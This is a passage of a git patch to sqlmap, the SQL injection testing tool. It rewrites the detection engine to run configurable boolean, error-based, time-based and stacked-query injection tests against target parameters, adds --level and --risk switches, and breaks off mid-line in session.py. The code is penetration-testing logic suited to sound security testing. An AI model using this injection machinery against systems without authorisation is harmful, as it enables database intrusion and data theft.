From 7e3b24afe6c0d3dba2406b6c3fd4cbb925f597ae Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Sun, 28 Nov 2010 18:10:54 +0000 Subject: [PATCH] Rewrite from scratch the detection engine. Now it performs checks defined in payload.xml. User can specify its own. All (hopefully) functionalities should still be working. Added two switches, --level and --risk to specify which injection tests and boundaries to use. The main advantage now is that sqlmap is able to identify initially which injection types are present so for instance if boolean-based blind is not supported, but error-based is, sqlmap will keep going and work! --- lib/controller/checks.py | 300 +++++-- lib/controller/controller.py | 178 ++-- lib/core/agent.py | 82 +- lib/core/common.py | 14 +- lib/core/datatype.py | 18 + lib/core/enums.py | 46 +- lib/core/option.py | 22 +- lib/core/optiondict.py | 2 + lib/core/session.py | 143 +-- lib/parse/cmdline.py | 8 + lib/parse/payloads.py | 70 ++ lib/request/connect.py | 2 +- lib/request/direct.py | 2 +- lib/request/inject.py | 6 +- lib/techniques/blind/timebased.py | 12 +- lib/techniques/error/test.py | 6 +- lib/techniques/inband/union/test.py | 6 +- lib/techniques/outband/stacked.py | 6 +- lib/utils/resume.py | 6 +- plugins/dbms/mysql/filesystem.py | 2 +- plugins/dbms/mysql/fingerprint.py | 2 +- sqlmap.conf | 14 + xml/injections.xml | 64 -- xml/payloads.xml | 1290 +++++++++++++++++++++++++++ 24 files changed, 1968 insertions(+), 333 deletions(-) create mode 100644 lib/parse/payloads.py delete mode 100644 xml/injections.xml create mode 100644 xml/payloads.xml diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 8f1c9ebc9..e85c6d54e 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -15,6 +15,7 @@ from difflib import SequenceMatcher from lib.core.agent import agent from lib.core.common import beep +from lib.core.common import calculateDeltaSeconds from lib.core.common import getUnicode from lib.core.common import randomInt from lib.core.common import randomStr @@ -26,8 +27,11 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths +from lib.core.datatype import advancedDict +from lib.core.datatype import injectionDict from lib.core.enums import HTTPMETHOD from lib.core.enums import NULLCONNECTION +from lib.core.enums import PAYLOAD from lib.core.exception import sqlmapConnectionException from lib.core.exception import sqlmapGenericException from lib.core.exception import sqlmapNoneDataException @@ -35,78 +39,274 @@ from lib.core.exception import sqlmapSiteTooDynamic from lib.core.exception import sqlmapUserQuitException from lib.core.session import setString from lib.core.session import setRegexp +from lib.core.settings import ERROR_SPACE +from lib.core.settings import ERROR_EMPTY_CHAR from lib.request.connect import Connect as Request +from plugins.dbms.firebird.syntax import Syntax as Firebird +from plugins.dbms.postgresql.syntax import Syntax as PostgreSQL +from plugins.dbms.mssqlserver.syntax import Syntax as MSSQLServer +from plugins.dbms.oracle.syntax import Syntax as Oracle +from plugins.dbms.mysql.syntax import Syntax as MySQL +from plugins.dbms.access.syntax import Syntax as Access +from plugins.dbms.sybase.syntax import Syntax as Sybase +from plugins.dbms.sqlite.syntax import Syntax as SQLite +from plugins.dbms.maxdb.syntax import Syntax as MaxDB -def checkSqlInjection(place, parameter, value, parenthesis): - """ - This function checks if the GET, POST, Cookie, User-Agent - parameters are affected by a SQL injection vulnerability and - identifies the type of SQL injection: - * Unescaped numeric injection - * Single quoted string injection - * Double quoted string injection - """ +def unescape(string, dbms): + unescaper = { + "Access": Access.unescape, + "Firebird": Firebird.unescape, + "MaxDB": MaxDB.unescape, + "Microsoft SQL Server": MSSQLServer.unescape, + "MySQL": MySQL.unescape, + "Oracle": Oracle.unescape, + "PostgreSQL": PostgreSQL.unescape, + "SQLite": SQLite.unescape, + "Sybase": Sybase.unescape + } - logic = conf.logic - randInt = randomInt() - randStr = randomStr() - prefix = "" - suffix = "" - retVal = None + if isinstance(dbms, list): + dbmsunescaper = unescaper[dbms[0]] + else: + dbmsunescaper = unescaper[dbms] - if conf.prefix or conf.suffix: - if conf.prefix: - prefix = conf.prefix + return dbmsunescaper(string) - if conf.suffix: - suffix = conf.suffix +def checkSqlInjection(place, parameter, value): + # Store here the details about boundaries and payload used to + # successfully inject + injection = injectionDict() - for case in kb.injections.root.case: - conf.matchRatio = None + for test in conf.tests: + title = test.title + stype = test.stype + proceed = True - positive = case.test.positive - negative = case.test.negative - - if not prefix and not suffix and case.name == "custom": + # Parse test's + if test.risk > conf.risk: + debugMsg = "skipping test '%s' because the risk " % title + debugMsg += "is higher than the provided" + logger.debug(debugMsg) continue - infoMsg = "testing %s (%s) injection " % (case.desc, logic) - infoMsg += "on %s parameter '%s'" % (place, parameter) + # Parse test's + if test.level > conf.level: + debugMsg = "skipping test '%s' because the level " % title + debugMsg += "is higher than the provided" + logger.debug(debugMsg) + continue + + if "details" in test and "dbms" in test.details: + dbms = test.details.dbms + else: + dbms = None + + # Skip current test if it is the same SQL injection type + # already identified by another test + if injection.data and stype in injection.data: + debugMsg = "skipping test '%s' because " % title + debugMsg += "we have already the payload for %s" % PAYLOAD.SQLINJECTION[stype] + logger.debug(debugMsg) + + continue + + # Skip DBMS-specific tests if they do not match the DBMS + # identified + if injection.dbms is not None and injection.dbms != dbms: + debugMsg = "skipping test '%s' because " % title + debugMsg += "the back-end DBMS is %s" % injection.dbms + logger.debug(debugMsg) + + continue + + infoMsg = "testing '%s'" % title logger.info(infoMsg) - payload = agent.payload(place, parameter, value, negative.format % eval(negative.params)) - _ = Request.queryPage(payload, place) + # Parse test's + payload = agent.cleanupPayload(test.request.payload) - payload = agent.payload(place, parameter, value, positive.format % eval(positive.params)) - trueResult = Request.queryPage(payload, place) + if dbms: + payload = unescape(payload, dbms) - if trueResult: - infoMsg = "confirming %s (%s) injection " % (case.desc, logic) - infoMsg += "on %s parameter '%s'" % (place, parameter) - logger.info(infoMsg) + if "comment" in test.request: + comment = test.request.comment + else: + comment = "" + testPayload = "%s%s" % (payload, comment) - payload = agent.payload(place, parameter, value, negative.format % eval(negative.params)) + if conf.prefix is not None and conf.suffix is not None: + boundary = advancedDict() - randInt = randomInt() - randStr = randomStr() + boundary.level = 1 + boundary.clause = [ 0 ] + boundary.where = [ 1, 2, 3 ] + # TODO: inspect the conf.prefix and conf.suffix to set + # proper ptype + boundary.ptype = 1 + boundary.prefix = conf.prefix + boundary.suffix = conf.suffix - falseResult = Request.queryPage(payload, place) + conf.boundaries.insert(0, boundary) - if not falseResult: - infoMsg = "%s parameter '%s' is %s (%s) injectable " % (place, parameter, case.desc, logic) - infoMsg += "with %d parenthesis" % parenthesis - logger.info(infoMsg) + for boundary in conf.boundaries: + # Parse boundary's + if boundary.level > conf.level: + # NOTE: shall we report every single skipped boundary too? + continue - if conf.beep: - beep() + # Parse test's and boundary's + # Skip boundary if it does not match against test's + clauseMatch = False + + for clauseTest in test.clause: + if clauseTest in boundary.clause: + clauseMatch = True + break + + if test.clause != [ 0 ] and boundary.clause != [ 0 ] and not clauseMatch: + continue + + # Parse test's and boundary's + # Skip boundary if it does not match against test's + whereMatch = False + + for where in test.where: + if where in boundary.where: + whereMatch = True + break + + if not whereMatch: + continue + + # Parse boundary's , and + prefix = boundary.prefix if boundary.prefix else "" + suffix = boundary.suffix if boundary.suffix else "" + ptype = boundary.ptype + injectable = False + + # If the previous injections succeeded, we know which prefix, + # postfix and parameter type to use for further tests, no + # need to cycle through all of the boundaries anymore + condBound = (injection.prefix is not None and injection.suffix is not None) + condBound &= (injection.prefix != prefix or injection.suffix != suffix) + condType = injection.ptype is not None and injection.ptype != ptype + + if condBound or condType: + continue + + # For each test's + for where in test.where: + # The tag defines where to add our injection + # string to the parameter under assessment. + if where == 1: + origValue = value + elif where == 2: + origValue = "-%s" % value + elif where == 3: + origValue = "" + + # Forge payload by prepending with boundary's prefix and + # appending with boundary's suffix the test's + # ' ' string + boundPayload = "%s%s %s %s" % (origValue, prefix, testPayload, suffix) + boundPayload = boundPayload.strip() + boundPayload = agent.cleanupPayload(boundPayload) + reqPayload = agent.payload(place, parameter, value, boundPayload) + + # Parse test's + # Check wheather or not the payload was successful + for method, check in test.response.items(): + check = agent.cleanupPayload(check) + + # In case of boolean-based blind SQL injection + if method == "comparison": + sndPayload = agent.cleanupPayload(test.response.comparison) + + if dbms: + sndPayload = unescape(sndPayload, dbms) + + if "comment" in test.response: + sndComment = test.response.comment + else: + sndComment = "" + + sndPayload = "%s%s" % (sndPayload, sndComment) + boundPayload = "%s%s %s %s" % (origValue, prefix, sndPayload, suffix) + boundPayload = boundPayload.strip() + boundPayload = agent.cleanupPayload(boundPayload) + cmpPayload = agent.payload(place, parameter, value, boundPayload) + + # Useful to set conf.matchRatio at first + conf.matchRatio = None + _ = Request.queryPage(cmpPayload, place) + + trueResult = Request.queryPage(reqPayload, place) + + if trueResult: + falseResult = Request.queryPage(cmpPayload, place) + + if not falseResult: + infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title) + logger.info(infoMsg) + + kb.paramMatchRatio[(place, parameter)] = conf.matchRatio + injectable = True + + kb.paramMatchRatio[(place, parameter)] = conf.matchRatio + + # In case of error-based or UNION query SQL injections + elif method == "grep": + reqBody, _ = Request.queryPage(reqPayload, place, content=True) + match = re.search(check, reqBody, re.DOTALL | re.IGNORECASE) + + if not match: + continue + + output = match.group('result') + + if output: + output = output.replace(ERROR_SPACE, " ").replace(ERROR_EMPTY_CHAR, "") + + if output == "1": + infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title) + logger.info(infoMsg) + + injectable = True + + # In case of time-based blind or stacked queries SQL injections + elif method == "time": + start = time.time() + _ = Request.queryPage(reqPayload, place) + duration = calculateDeltaSeconds(start) + + if duration >= conf.timeSec: + infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title) + logger.info(infoMsg) + + injectable = True + + if injectable is True: + injection.place = place + injection.parameter = parameter + injection.ptype = ptype + injection.prefix = prefix + injection.suffix = suffix + + injection.data[stype] = (title, where, comment, boundPayload) + + if "details" in test: + for detailKey, detailValue in test.details.items(): + if detailKey == "dbms" and injection.dbms is None: + injection.dbms = detailValue + elif detailKey == "dbms_version" and injection.dbms_version is None: + injection.dbms_version = detailValue + elif detailKey == "os" and injection.os is None: + injection.os = detailValue - retVal = case.name break - kb.paramMatchRatio[(place, parameter)] = conf.matchRatio - - return retVal + return injection def heuristicCheckSqlInjection(place, parameter, value): if kb.nullConnection: diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 7887a385c..eb2ef04d9 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -18,6 +18,8 @@ from lib.controller.checks import checkString from lib.controller.checks import checkRegexp from lib.controller.checks import checkConnection from lib.controller.checks import checkNullConnection +from lib.core.agent import agent +from lib.core.common import dataToStdout from lib.core.common import getUnicode from lib.core.common import paramToDict from lib.core.common import parseTargetUrl @@ -25,57 +27,121 @@ from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.dump import dumper from lib.core.enums import HTTPMETHOD +from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.exception import exceptionsTuple from lib.core.exception import sqlmapNotVulnerableException from lib.core.exception import sqlmapSilentQuitException +from lib.core.exception import sqlmapValueException from lib.core.exception import sqlmapUserQuitException +from lib.core.session import setBooleanBased +from lib.core.session import setError from lib.core.session import setInjection from lib.core.session import setMatchRatio +from lib.core.session import setStacked +from lib.core.session import setTimeBased from lib.core.target import initTargetEnv from lib.core.target import setupTargetEnv -from lib.utils.parenthesis import checkForParenthesis -def __selectInjection(injData): +def __saveToSessionFile(): + for inj in kb.injections: + place = inj.place + parameter = inj.parameter + + for stype, sdata in inj.data.items(): + payload = sdata[3] + + if stype == 1: + kb.booleanTest = payload + setBooleanBased(place, parameter, payload) + elif stype == 2: + kb.errorTest = payload + setError(place, parameter, payload) + elif stype == 4: + kb.stackedTest = payload + setStacked(place, parameter, payload) + elif stype == 5: + kb.timeTest = payload + setTimeBased(place, parameter, payload) + + setInjection(inj) + +def __selectInjection(): """ Selection function for injection place, parameters and type. """ - message = "there were multiple injection points, please select the " - message += "one to use to go ahead:\n" + # TODO: when resume from session file, feed kb.injections and call + # __selectInjection() + points = [] - for i in xrange(0, len(injData)): - injPlace = injData[i][0] - injParameter = injData[i][1] - injType = injData[i][2] + for i in xrange(0, len(kb.injections)): + place = kb.injections[i].place + parameter = kb.injections[i].parameter + ptype = kb.injections[i].ptype - message += "[%d] place: %s, parameter: " % (i, injPlace) - message += "%s, type: %s" % (injParameter, injType) + point = (place, parameter, ptype) - if i == 0: - message += " (default)" + if point not in points: + points.append(point) - message += "\n" + if len(points) == 1: + kb.injection = kb.injections[0] + elif len(points) > 1: + message = "there were multiple injection points, please select " + message += "the one to use for following injections:\n" - message += "[q] Quit" - select = readInput(message, default="0") + points = [] - if not select: - index = 0 + for i in xrange(0, len(kb.injections)): + place = kb.injections[i].place + parameter = kb.injections[i].parameter + ptype = kb.injections[i].ptype + point = (place, parameter, ptype) - elif select.isdigit() and int(select) < len(injData) and int(select) >= 0: - index = int(select) + if point not in points: + points.append(point) - elif select[0] in ( "Q", "q" ): - return "Quit" + message += "[%d] place: %s, parameter: " % (i, place) + message += "%s, type: %s" % (parameter, PAYLOAD.PARAMETER[ptype]) - else: - warnMsg = "invalid choice, retry" - logger.warn(warnMsg) - __selectInjection(injData) + if i == 0: + message += " (default)" - return injData[index] + message += "\n" + + message += "[q] Quit" + select = readInput(message, default="0") + + if select.isdigit() and int(select) < len(kb.injections) and int(select) >= 0: + index = int(select) + elif select[0] in ( "Q", "q" ): + raise sqlmapUserQuitException + else: + errMsg = "invalid choice" + raise sqlmapValueException, errMsg + + kb.injection = kb.injections[index] + +def __formatInjection(inj): + header = "Place: %s\n" % inj.place + header += "Parameter: %s\n" % inj.parameter + data = "" + + for stype, sdata in inj.data.items(): + data += "Type: %s\n" % PAYLOAD.SQLINJECTION[stype] + data += "Payload: %s\n\n" % sdata[3] + + return header, data + +def __showInjections(): + dataToStdout("sqlmap identified the following injection points:\n") + + for inj in kb.injections: + header, data = __formatInjection(inj) + dumper.technic(header, data) def start(): """ @@ -230,7 +296,7 @@ def start(): # TODO: consider the following line in __setRequestParams() __testableParameters = True - if not kb.injPlace or not kb.injParameter or not kb.injType: + if not kb.injection.place or not kb.injection.parameter: if not conf.string and not conf.regexp and not conf.eRegexp: # NOTE: this is not needed anymore, leaving only to display # a warning message to the user in case the page is not stable @@ -251,6 +317,10 @@ def start(): paramDict = conf.paramDict[place] for parameter, value in paramDict.items(): testSqlInj = True + + # TODO: with the new detection engine, review this + # part. Perhaps dynamicity test will not be of any + # use paramKey = (conf.hostname, conf.path, place, parameter) if paramKey in kb.testedParams: @@ -276,48 +346,33 @@ def start(): kb.testedParams.add(paramKey) if testSqlInj: + # TODO: with the new detection engine, review this + # part. This will be moved to payloads.xml as well heuristicCheckSqlInjection(place, parameter, value) - for parenthesis in range(0, 4): - logMsg = "testing sql injection on %s " % place - logMsg += "parameter '%s' with " % parameter - logMsg += "%d parenthesis" % parenthesis - logger.info(logMsg) + logMsg = "testing sql injection on %s " % place + logMsg += "parameter '%s'" % parameter + logger.info(logMsg) - injType = checkSqlInjection(place, parameter, value, parenthesis) + injection = checkSqlInjection(place, parameter, value) - if injType: - injData.append((place, parameter, injType)) - break - - else: - infoMsg = "%s parameter '%s' is not " % (place, parameter) - infoMsg += "injectable with %d parenthesis" % parenthesis - logger.info(infoMsg) - - if not injData: + if injection: + kb.injections.append(injection) + else: warnMsg = "%s parameter '%s' is not " % (place, parameter) warnMsg += "injectable" logger.warn(warnMsg) - if not kb.injPlace or not kb.injParameter or not kb.injType: - if len(injData) == 1: - injDataSelected = injData[0] + if len(kb.injections) == 0 and not kb.injection.place and not kb.injection.parameter: + errMsg = "all parameters are not injectable, try " + errMsg += "a higher --level" + raise sqlmapNotVulnerableException, errMsg + else: + __saveToSessionFile() + __showInjections() + __selectInjection() - elif len(injData) > 1: - injDataSelected = __selectInjection(injData) - - else: - raise sqlmapNotVulnerableException, "all parameters are not injectable" - - if injDataSelected == "Quit": - return - - else: - kb.injPlace, kb.injParameter, kb.injType = injDataSelected - setInjection() - - if kb.injPlace and kb.injParameter and kb.injType: + if kb.injection.place and kb.injection.parameter: if conf.multipleTargets: message = "do you want to exploit this SQL injection? [Y/n] " exploit = readInput(message, default="Y") @@ -328,10 +383,9 @@ def start(): if condition: if kb.paramMatchRatio: - conf.matchRatio = kb.paramMatchRatio[(kb.injPlace, kb.injParameter)] + conf.matchRatio = kb.paramMatchRatio[(kb.injection.place, kb.injection.parameter)] setMatchRatio() - checkForParenthesis() action() except KeyboardInterrupt: diff --git a/lib/core/agent.py b/lib/core/agent.py index 7fe382c58..37ebce689 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -12,7 +12,6 @@ import re from xml.etree import ElementTree as ET from lib.core.common import getCompiledRegex -from lib.core.common import getInjectionCase from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.convert import urlencode @@ -23,6 +22,8 @@ from lib.core.datatype import advancedDict from lib.core.enums import DBMS from lib.core.enums import PLACE from lib.core.exception import sqlmapNoneDataException +from lib.core.settings import ERROR_START_CHAR +from lib.core.settings import ERROR_END_CHAR from lib.core.settings import PAYLOAD_DELIMITER class Agent: @@ -70,28 +71,28 @@ class Agent: falseValue = " AND %d=%d" % (randInt, randInt + 1) # After identifing the injectable parameter - if kb.injPlace == PLACE.UA: - retValue = kb.injParameter.replace(kb.injParameter, - self.addPayloadDelimiters("%s%s" % (negValue, kb.injParameter + falseValue + newValue))) - elif kb.injParameter: - paramString = conf.parameters[kb.injPlace] - paramDict = conf.paramDict[kb.injPlace] - value = paramDict[kb.injParameter] + if kb.injection.place == PLACE.UA: + retValue = kb.injection.parameter.replace(kb.injection.parameter, + self.addPayloadDelimiters("%s%s" % (negValue, kb.injection.parameter + falseValue + newValue))) + elif kb.injection.parameter: + paramString = conf.parameters[kb.injection.place] + paramDict = conf.paramDict[kb.injection.place] + value = paramDict[kb.injection.parameter] - if "POSTxml" in conf.paramDict and kb.injPlace == PLACE.POST: + if "POSTxml" in conf.paramDict and kb.injection.place == PLACE.POST: root = ET.XML(paramString) - iterator = root.getiterator(kb.injParameter) + iterator = root.getiterator(kb.injection.parameter) for child in iterator: child.text = self.addPayloadDelimiters(negValue + value + falseValue + newValue) retValue = ET.tostring(root) - elif kb.injPlace == PLACE.URI: + elif kb.injection.place == PLACE.URI: retValue = paramString.replace("*", self.addPayloadDelimiters("%s%s" % (negValue, falseValue + newValue))) else: - retValue = paramString.replace("%s=%s" % (kb.injParameter, value), - "%s=%s" % (kb.injParameter, self.addPayloadDelimiters(negValue + value + falseValue + newValue))) + retValue = paramString.replace("%s=%s" % (kb.injection.parameter, value), + "%s=%s" % (kb.injection.parameter, self.addPayloadDelimiters(negValue + value + falseValue + newValue))) # Before identifing the injectable parameter elif parameter == PLACE.UA: @@ -125,6 +126,20 @@ class Agent: return payload + def cleanupPayload(self, payload): + randInt = randomInt() + randInt1 = randomInt() + randStr = randomStr() + + payload = payload.replace("[RANDNUM]", str(randInt)) + payload = payload.replace("[RANDNUM1]", str(randInt1)) + payload = payload.replace("[RANDSTR]", randStr) + payload = payload.replace("[ERROR_START_CHAR]", ERROR_START_CHAR) + payload = payload.replace("[ERROR_END_CHAR]", ERROR_END_CHAR) + payload = payload.replace("[SLEEPTIME]", str(conf.timeSec)) + + return payload + def prefixQuery(self, string): """ This method defines how the input string has to be escaped @@ -135,24 +150,9 @@ class Agent: if conf.direct: return self.payloadDirect(string) - logic = conf.logic - query = str() - case = getInjectionCase(kb.injType) - - if kb.parenthesis is not None: - parenthesis = kb.parenthesis - else: - raise sqlmapNoneDataException, "unable to get the number of parenthesis" - - if case is None: - raise sqlmapNoneDataException, "unsupported injection type" - - if conf.prefix: - query = "%s " % conf.prefix.strip() - else: - query = case.usage.prefix.format % eval(case.usage.prefix.params) - + query = "%s " % kb.injection.prefix query += string + query = self.cleanupPayload(query) return query @@ -165,27 +165,11 @@ class Agent: if conf.direct: return self.payloadDirect(string) - logic = conf.logic - case = getInjectionCase(kb.injType) - - if case is None: - raise sqlmapNoneDataException, "unsupported injection type" - - randInt = randomInt() - randStr = randomStr() - - if kb.parenthesis is not None: - parenthesis = kb.parenthesis - else: - raise sqlmapNoneDataException, "unable to get the number of parenthesis" - - if comment: + if comment is not None: string += comment - if conf.suffix: - string += " %s" % conf.suffix - else: - string += case.usage.suffix.format % eval(case.usage.suffix.params) + string += " %s" % kb.injection.suffix + string = self.cleanupPayload(string) return string diff --git a/lib/core/common.py b/lib/core/common.py index e42b77115..567c28c14 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -667,6 +667,7 @@ def setPaths(): paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.txt") paths.PHPIDS_RULES_XML = os.path.join(paths.SQLMAP_XML_PATH, "phpids_rules.xml") paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml") + paths.PAYLOADS_XML = os.path.join(paths.SQLMAP_XML_PATH, "payloads.xml") paths.INJECTIONS_XML = os.path.join(paths.SQLMAP_XML_PATH, "injections.xml") paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml") paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml") @@ -894,7 +895,7 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True) if partial or not condition: logOutput = "".join(["%s%s%s" % (DUMP_START_MARKER, replaceNewlineTabs(value), DUMP_STOP_MARKER) for value in output]) - dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput)) + dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, logOutput)) if sort: output = set(output) @@ -1296,17 +1297,6 @@ def calculateDeltaSeconds(start, epsilon=0.05): """ return int(time.time() - start + epsilon) -def getInjectionCase(name): - retVal = None - - for case in kb.injections.root.case: - if case.name == name: - retVal = case - - break - - return retVal - def initCommonOutputs(): kb.commonOutputs = {} key = None diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 8882112ca..b64d20de1 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -56,3 +56,21 @@ class advancedDict(dict): else: self.__setitem__(item, value) +def injectionDict(): + injection = advancedDict() + + injection.place = None + injection.parameter = None + injection.ptype = None + injection.prefix = None + injection.suffix = None + + # data is a dict with stype as key and a tuple as value with + # title, where, comment and reqPayload + injection.data = {} + + injection.dbms = None + injection.dbms_version = None + injection.os = None + + return injection diff --git a/lib/core/enums.py b/lib/core/enums.py index 5bd79f7e5..442851b64 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -17,14 +17,14 @@ class PRIORITY: HIGHEST = 100 class DBMS: - MYSQL = "MySQL" - ORACLE = "Oracle" - POSTGRESQL = "PostgreSQL" - MSSQL = "Microsoft SQL Server" - SQLITE = "SQLite" ACCESS = "Microsoft Access" FIREBIRD = "Firebird" MAXDB = "SAP MaxDB" + MSSQL = "Microsoft SQL Server" + MYSQL = "MySQL" + ORACLE = "Oracle" + POSTGRESQL = "PostgreSQL" + SQLITE = "SQLite" SYBASE = "Sybase" class PLACE: @@ -53,3 +53,39 @@ class HASH: ORACLE_OLD = r'(?i)\A[01-9a-f]{16}\Z' MD5_GENERIC = r'(?i)\A[0-9a-f]{32}\Z' SHA1_GENERIC = r'(?i)\A[0-9a-f]{40}\Z' + +class PAYLOAD: + SQLINJECTION = { + 1: "boolean-based blind", + 2: "error-based", + 3: "UNION query", + 4: "stacked queries", + 5: "AND/OR time-based blind" + } + + PARAMETER = { + 1: "Unescaped numeric", + 2: "Single quoted string", + 3: "LIKE single quoted string", + 4: "Double quoted string", + 5: "LIKE double quoted string" + } + + RISK = { + 0: "No risk", + 1: "Low risk", + 2: "Medium risk", + 3: "High risk" + } + + CLAUSE = { + 0: "Always", + 1: "WHERE", + 2: "GROUP BY", + 3: "ORDER BY", + 4: "LIMIT", + 5: "OFFSET", + 6: "TOP", + 7: "Table name", + 8: "Column name" + } diff --git a/lib/core/option.py b/lib/core/option.py index e4e24cfcf..49f3e8071 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -64,6 +64,7 @@ from lib.core.settings import SUPPORTED_OS from lib.core.settings import VERSION_STRING from lib.core.update import update from lib.parse.configfile import configFileParser +from lib.parse.payloads import loadPayloads from lib.request.connect import Connect as Request from lib.request.proxy import ProxyHTTPSHandler from lib.request.certhandler import HTTPSCertAuthHandler @@ -1069,6 +1070,7 @@ def __setConfAttributes(): debugMsg = "initializing the configuration" logger.debug(debugMsg) + conf.boundaries = [] conf.cj = None conf.dataEncoding = "utf-8" conf.dbmsConnector = None @@ -1094,6 +1096,7 @@ def __setConfAttributes(): conf.seqMatcher = difflib.SequenceMatcher(None) conf.sessionFP = None conf.start = True + conf.tests = [] conf.threadContinue = True conf.threadException = False conf.trafficFP = None @@ -1121,6 +1124,12 @@ def __setKnowledgeBaseAttributes(): kb.data = advancedDict() + # Injection types + kb.booleanTest = None + kb.errorTest = None + kb.stackedTest = None + kb.timeTest = None + # Basic back-end DBMS fingerprint kb.dbms = None kb.dbmsDetected = False @@ -1131,16 +1140,15 @@ def __setKnowledgeBaseAttributes(): kb.dep = None kb.docRoot = None kb.dynamicMarkings = [] - kb.errorTest = None kb.formNames = advancedDict() kb.headersCount = 0 kb.headersFp = {} kb.hintValue = None kb.htmlFp = [] - kb.injParameter = None - kb.injPlace = None - kb.injType = None - kb.injections = xmlobject.XMLFile(path=paths.INJECTIONS_XML) + kb.injection = advancedDict() + kb.injection.parameter = None + kb.injection.place = None + kb.injections = [] kb.keywords = set(getFileItems(paths.SQL_KEYWORDS)) kb.lastErrorPage = None kb.lastRequestUID = 0 @@ -1160,16 +1168,13 @@ def __setKnowledgeBaseAttributes(): kb.pageStable = None kb.paramMatchRatio = {} - kb.parenthesis = None kb.partRun = None kb.proxyAuthHeader = None kb.queryCounter = 0 kb.resumedQueries = {} - kb.stackedTest = None kb.tamperFunctions = [] kb.targetUrls = set() kb.testedParams = set() - kb.timeTest = None kb.unionComment = "" kb.unionCount = None kb.unionPosition = None @@ -1378,5 +1383,6 @@ def init(inputOptions=advancedDict()): __setWriteFile() __setMetasploit() + loadPayloads() update() __loadQueries() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 3a3378a1d..dd10f345b 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -63,6 +63,8 @@ optDict = { }, "Detection": { + "level": "integer", + "risk": "integer", "string": "string", "regexp": "string", "eString": "string", diff --git a/lib/core/session.py b/lib/core/session.py index f34c44d19..100ffc0c7 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -15,6 +15,7 @@ from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES @@ -68,47 +69,33 @@ def setMatchRatio(): ) if condition: - dataToSessionFile("[%s][%s][%s][Match ratio][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), conf.matchRatio)) + dataToSessionFile("[%s][%s][%s][Match ratio][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), conf.matchRatio)) -def setInjection(): +def setInjection(inj): """ Save information retrieved about injection place and parameter in the session file. """ - if kb.injPlace == PLACE.UA: - kb.injParameter = conf.agent + if inj.place == PLACE.UA: + inj.parameter = conf.agent condition = ( - kb.injPlace and kb.injParameter and ( not kb.resumedQueries + ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and ( not kb.resumedQueries[conf.url].has_key("Injection point") or not kb.resumedQueries[conf.url].has_key("Injection parameter") - or not kb.resumedQueries[conf.url].has_key("Injection type") ) ) ) ) if condition: - dataToSessionFile("[%s][%s][%s][Injection point][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), kb.injPlace)) - dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), kb.injParameter)) - dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), kb.injType)) - -def setParenthesis(parenthesisCount): - """ - @param parenthesisCount: number of parenthesis to be set into the - knowledge base as fingerprint. - @type parenthesisCount: C{int} - """ - - condition = ( - not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and - not kb.resumedQueries[conf.url].has_key("Parenthesis") ) - ) - - if condition: - dataToSessionFile("[%s][%s][%s][Parenthesis][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), parenthesisCount)) - - kb.parenthesis = parenthesisCount + for stype in inj.data.keys(): + dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), PAYLOAD.SQLINJECTION[stype])) + dataToSessionFile("[%s][%s][%s][Injection point][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), inj.place)) + dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), inj.parameter)) + dataToSessionFile("[%s][%s][%s][Injection parameter type][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), PAYLOAD.PARAMETER[inj.ptype])) + dataToSessionFile("[%s][%s][%s][Injection prefix][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), inj.prefix)) + dataToSessionFile("[%s][%s][%s][Injection suffix][%s]\n" % (conf.url, inj.place, 